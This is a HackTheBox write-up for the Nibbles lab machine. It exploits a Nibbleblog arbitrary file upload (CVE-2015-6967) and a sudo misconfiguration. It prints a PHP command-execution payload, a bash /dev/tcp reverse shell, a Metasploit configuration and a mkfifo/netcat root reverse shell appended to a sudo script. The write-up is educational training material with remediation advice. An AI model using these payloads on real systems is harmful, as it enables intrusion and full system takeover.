

HackTheBox

Machine Write-Up

Nibbles

Difficulty: Easy | OS: Linux | Points: 20

Machine Information

Machine Name	Nibbles
IP Address	10.129.114.168
Operating System	Linux
Difficulty	Easy
Category	Web / Privilege Escalation
CVE / Vuln	Nibbleblog 4.0.3 - Arbitrary File Upload (CVE-2015-6967)
Attack Path	Enumeration → RCE → Reverse Shell → Sudo Privilege Escalation

Executive Summary

Nibbles is a Linux machine rated Easy on HackTheBox. The attack chain begins with web enumeration of a Nibbleblog installation, which leaks the admin username via an exposed XML file. After generating a custom wordlist with CeWL and authenticating to the admin panel, an arbitrary file upload vulnerability in the My Image plugin is exploited to achieve Remote Code Execution. A PHP reverse shell establishes an initial foothold as the nibbler user. Privilege escalation is achieved by abusing a sudo misconfiguration that allows nibbler to run a shell script as root without a password, which is then leveraged to obtain a root reverse shell.

This write-up covers two exploitation paths: a manual approach using curl and Netcat, and an alternative approach using the Metasploit Framework.

Important Concepts Before We Begin

Understanding TARGETURI in Metasploit

When using Metasploit modules, the TARGETURI option refers to the base path of the web application on the server — not the full URL and not any specific page inside the application. Think of it as giving the module a starting point, and the module will handle navigating to the specific pages it needs (like the login page, the plugin page, and the upload path) all on its own.

For this machine, the correct value is:

```
set TARGETURI /nibbleblog/
```

A common mistake is setting TARGETURI to a specific page like /nibbleblog/admin.php. This breaks the module because it expects to start from the root of the application and build its own paths from there. Always give Metasploit modules the root path of the application, not a specific endpoint.

Correct	/nibbleblog/
Wrong	/nibbleblog/admin.php
Wrong	http://10.129.114.168/nibbleblog/

Understanding LHOST on HackTheBox — Why Your Public IP Does Not Work

This is one of the most common mistakes beginners make on HackTheBox, and it is worth understanding properly so you never run into it again.

When you connect to HackTheBox, you join a private VPN network through a virtual interface called tun0. This gives your machine a private HTB IP address that looks something like 10.10.14.x. The target machines on HackTheBox live inside this same private VPN network.

Here is the key thing to understand: the target machine has no access to the internet at all. It can only communicate with machines inside the HTB VPN network. So when your reverse shell

fires and tries to connect back to your public IP address, the target machine simply cannot reach it — it has no route to the internet and the connection dies before it is ever made.

Your own machine can browse the internet freely because it has both a regular network interface and the tun0 VPN interface. But the target only has the VPN side — it cannot reach anything outside of it.

The fix is simple: always set LHOST to your tun0 IP address, which is the IP that the target machine can actually reach:

```
set LHOST tun0
```

Or find your tun0 IP and set it directly:

```
ip a show tun0 set LHOST 10.10.14.x
```

tun0 IP (10.10.14.x)	Correct – target can reach this
Your Public IP	Wrong – target has no internet access
Your LAN IP (192.168.x.x)	Wrong – target is not on your LAN

NOTE: Think of it this way: your machine can call anyone, but the target machine can only call numbers inside the VPN. Your public IP is outside that network, so the call never goes through.

Tools Used

- curl — Initial web probing
- Gobuster — Directory enumeration
- CeWL — Custom wordlist generation from the target web application
- Netcat (nc) — Reverse shell listener
- Python3 pty — TTY shell upgrade
- Metasploit Framework — Alternative exploitation path

Phase 1 — Reconnaissance & Enumeration

1.1 Initial Web Probing

The engagement started by curling the target IP to identify any web application running on port 80:

```
curl http://10.129.114.168
```

The response body revealed a running Nibbleblog installation — a PHP-based blogging platform — accessible at:

```
http://10.129.114.168/nibbleblog/
```

1.2 Directory Enumeration

A directory brute-force was performed against the Nibbleblog path to discover hidden endpoints and files:

```
gobuster dir -u http://10.129.114.168/nibbleblog/ -w /usr/share/wordlists/dirb/common.txt
```

Key results from the enumeration:

<code>/.hta</code>	403 Forbidden
<code>/.htaccess</code>	403 Forbidden
<code>/.htpasswd</code>	403 Forbidden
<code>/admin</code>	301 → /nibbleblog/admin/
<code>/admin.php</code>	200 OK (Login Page)
<code>/content</code>	301 → /nibbleblog/content/
<code>/index.php</code>	200 OK
<code>/languages</code>	301 Redirect
<code>/plugins</code>	301 Redirect
<code>/README</code>	200 OK (4628 bytes)
<code>/themes</code>	301 Redirect

1.3 Username Discovery via users.xml

Browsing the exposed content directory manually revealed sensitive XML files under the private subdirectory. Navigating to the following path confirmed the presence of the admin user without any authentication:

```
http://10.129.114.168/nibbleblog/content/private/users.xml
```

The XML file disclosed the username admin, representing a significant information disclosure vulnerability.

1.4 Password Discovery with CeWL

Rather than using a generic wordlist, CeWL was used to crawl the Nibbleblog application and generate a custom wordlist derived from its own content. The idea behind this is that developers and administrators often use words related to their application as passwords, making application-specific wordlists highly effective:

```
cewl http://10.129.114.168/nibbleblog/ -w custom_wordlist.txt
```

The resulting wordlist was reviewed and the correct credential was identified:

Username	admin
Password	nibbles

Phase 2 — Initial Foothold: Manual Method

2.1 Admin Panel Access

Using the discovered credentials, successful authentication was achieved at the admin login page:

```
http://10.129.114.168/nibbleblog/admin.php
```

2.2 Testing for Remote Code Execution

Inside the admin panel, the My Image plugin was identified as a file upload attack surface. A minimal PHP test payload was uploaded first to verify whether the server would execute it:

```
<?php System("id"); ?>
```

Although the web application displayed an error message upon upload, the file was still saved to disk. The upload path was located by browsing the plugin directory structure, and curling it confirmed that the id command executed on the server — proving Remote Code Execution:

```
curl http://10.129.114.168/nibbleblog/content/private/plugins/my_image/image.php
```

2.3 Reverse Shell Upload

With RCE confirmed, a PHP reverse shell payload was uploaded through the same My Image plugin:

```
<?php System("bash -c 'bash -i >& /dev/tcp/10.10.14.129/4444 0>&1'"); ?>
```

A Netcat listener was set up on the attacker machine before triggering the shell:

```
nc -lnvp 4444
```

Curling the upload path triggered the reverse shell and a connection was received on the listener. Identity was confirmed with:

```
whoami # Output: nibbler
```

Phase 2 — Initial Foothold: Metasploit Method (Alternative)

3.1 Loading the Module

Metasploit has a ready-made exploit for the Nibbleblog arbitrary file upload vulnerability. Load it with:

```
msfconsole use exploit/multi/http/nibbleblog_file_upload
```

3.2 Setting the Options

Configure the module with the correct options. Pay close attention to TARGETURI and LHOST as these are the two most common points of failure:

```
set RHOSTS 10.129.114.168 set TARGETURI /nibbleblog/ set USERNAME admin
set PASSWORD nibbles set LHOST tun0 set LPORT 4444 set payload
php/meterpreter/reverse_tcp
```

NOTE: TARGETURI must be /nibbleblog/ — the base path only. Do not include admin.php or any other specific page. The module knows where to go from the base path.

NOTE: LHOST must be your tun0 IP, not your public IP. The target machine has no internet access and cannot reach your public IP. Use 'set LHOST tun0' and Metasploit will figure out the correct IP automatically.

3.3 Running the Exploit

```
run
```

If everything is configured correctly a Meterpreter session will open. You can verify access with:

```
getuid # Output: www-data or nibbler sysinfo
```

Meterpreter — Commands & Shell Behaviour

4.1 Essential Meterpreter Commands

Meterpreter is a powerful post-exploitation shell that comes with Metasploit. Unlike a raw Netcat shell, it is already stable and interactive out of the box. Here are the most useful commands:

shell	Drop into a system shell on the target
background	Background the current session and return to Metasploit
sessions -l	List all active sessions

<code>sessions -i 1</code>	Re-enter session number 1
<code>getuid</code>	Show the current user
<code>sysinfo</code>	Show system information
<code>pwd</code>	Show current directory
<code>ls</code>	List files in current directory
<code>cd /path</code>	Change directory
<code>cat file.txt</code>	Read a file
<code>download file.txt</code>	Download a file to your machine
<code>upload file.txt /tmp/</code>	Upload a file to the target
<code>execute -f cmd -a 'args' -i</code>	Run a command and show output
<code>getsystem</code>	Attempt automatic privilege escalation
<code>run post/multi/recon/local_exploit_suggester</code>	Find local privesc paths
<code>help</code>	Show all available commands

4.2 The execute Command Explained

The execute command lets you run programs on the target directly from Meterpreter without dropping into a shell. Here is a full breakdown of its flags:

```
execute -f "/bin/bash" -a "-c 'sudo -l'" -i
```

<code>execute</code>	Meterpreter command to run a program on the target
<code>-f "/bin/bash"</code>	The program to run – in this case bash
<code>-a "-c 'sudo -l'"</code>	Arguments passed to bash – the -c flag tells bash to run the string as a command
<code>-i</code>	Interactive – show the output back to you. Without this you run blind

The double quotes wrapping the argument are for Meterpreter, so it treats everything inside as one single argument. The single quotes inside are for bash, so it treats the command string correctly. Each layer unwraps as it passes down — Meterpreter sees the outer quotes, bash sees the inner ones, and the system executes the final command.

4.3 Why You Cannot Fully Upgrade a Shell Inside Meterpreter

If you have used a raw Netcat shell before, you are probably familiar with the TTY upgrade sequence. However, this sequence behaves differently inside a Meterpreter shell, and it is important to understand why.

When you run the shell command inside Meterpreter, you get a basic system shell. If you try to upgrade it the usual way, you will hit two problems:

- Pressing Ctrl+Z inside a Meterpreter shell does not background the shell to your local terminal — it backgrounds the Meterpreter channel and drops you back into Meterpreter itself. You will see a prompt like 'Background channel 2? [y/N]'. This means stty raw -echo; fg never runs on your local terminal where it needs to run.
- If you try running stty directly inside Meterpreter, it does not understand it and returns: Unknown command: stty.

This means the full TTY upgrade sequence — python3 pty spawn, Ctrl+Z, stty raw -echo, fg, export TERM=xterm, reset — only works correctly in a pure Netcat shell where Ctrl+Z actually backgrounds the process to your local terminal.

Inside a Meterpreter shell, the only step that works and is actually useful is the Python PTY spawn:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

This gives you a proper bash prompt with sudo and su working correctly, which is enough for most post-exploitation tasks. The rest of the sequence is not needed because Meterpreter already handles terminal stability for you.

Pure Netcat shell	Full TTY upgrade works – do all 6 steps
Meterpreter > shell	Only Python PTY step works – skip the rest
Meterpreter itself	Already stable – no upgrade needed at all

Phase 3 — Shell Stabilisation (Netcat Shell Only)

If you used the manual Netcat method, upgrade the raw shell to a fully interactive TTY using this sequence:

1. Spawn a PTY with Python3:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

2. Background the shell:

```
Ctrl + Z
```

3. Fix terminal settings and bring the shell back to the foreground:

```
stty raw -echo; fg
```

4. Press Enter twice, then set the terminal type:

```
export TERM=xterm
```

5. Reset the terminal to clean up any display issues:

```
reset
```

You now have a fully interactive TTY with tab completion, arrow keys, proper signal handling, and working sudo prompts.

Phase 4 — User Flag

Listing the home directory of the nibbler user revealed two items:

```
ls /home/nibbler/ # user.txt personal.zip
```

The user flag was retrieved:

```
cat /home/nibbler/user.txt
```

Phase 5 — Privilege Escalation (Root)

5.1 Extracting personal.zip

The personal.zip archive found in the home directory was extracted, revealing a shell script called monitor.sh:

```
cd /home/nibbler unzip personal.zip cd personal/stuff/
```

5.2 Sudo Misconfiguration Discovery

Running `sudo -l` showed that the nibbler user is allowed to execute monitor.sh as root with no password required — one of the most straightforward privilege escalation paths you will encounter:

```
sudo -l # (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
```

5.3 Exploiting the Sudo Entry

The monitor.sh file was writable by the nibbler user, meaning we could append any command to it and have it run as root. A reverse shell payload was appended using tee:

```
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.129 5555 >/tmp/f' | tee -a monitor.sh
```

A Netcat listener was opened on port 5555 on the attacker machine:

```
nc -lnvp 5555
```

The script was executed with sudo:

```
sudo /home/nibbler/personal/stuff/monitor.sh
```

The root reverse shell connected back to the listener. Identity confirmed:

```
whoami # Output: root
```

Phase 6 — Root Flag

```
ls /root/ cat /root/root.txt
```

Vulnerability Summary

Phase	Vulnerability	Impact
Recon	Information Disclosure — users.xml exposed publicly	Admin username leaked without any authentication
Recon	Weak credentials discoverable via CeWL wordlist	Admin password found using application-specific wordlist
Foothold	CVE-2015-6967 — Arbitrary File Upload in My Image plugin	Remote code execution as the nibbler web server user
PrivEsc	Sudo NOPASSWD on user-writable monitor.sh script	Full root shell by appending payload to the script

Lessons Learned

- Exposed CMS configuration files like users.xml and README can disclose usernames and version information, making targeted attacks much easier.
- Custom wordlists built from application content using CeWL are often far more effective than generic wordlists because administrators frequently use words related to their own application as passwords.
- File upload mechanisms without strict server-side validation are a critical attack surface. Always test whether the server executes uploaded files before going straight to a full reverse shell.
- In Metasploit, TARGETURI should always be the root path of the application. The module handles all internal navigation itself — feeding it a specific page breaks its flow.
- On HackTheBox, always set LHOST to your tun0 VPN IP. Target machines have no internet access and cannot reach your public IP or LAN IP.
- Sudo misconfigurations, especially NOPASSWD entries on user-writable scripts, are trivial to exploit and grant immediate root access.
- The full TTY upgrade sequence only works in pure Netcat shells. Inside a Meterpreter shell, Ctrl+Z backgrounds the channel instead of the process, so stty never runs on your local terminal. Only the Python PTY spawn step is useful there.

Remediation Recommendations

- Restrict access to /content/private/ and all XML configuration files via web server rules. These files should never be publicly accessible.
- Enforce strong, unique passwords for all CMS admin accounts. Avoid using any words related to the application name or content.
- Update Nibbleblog to a patched version or implement strict server-side file type validation to block executable file uploads through plugins.
- Remove all NOPASSWD sudo entries, especially those pointing to scripts that any user can modify. If a script must be run with sudo, make it owned by root and non-writable by other users.
- Apply the principle of least privilege throughout — web application processes should run with minimal permissions and should never have sudo access.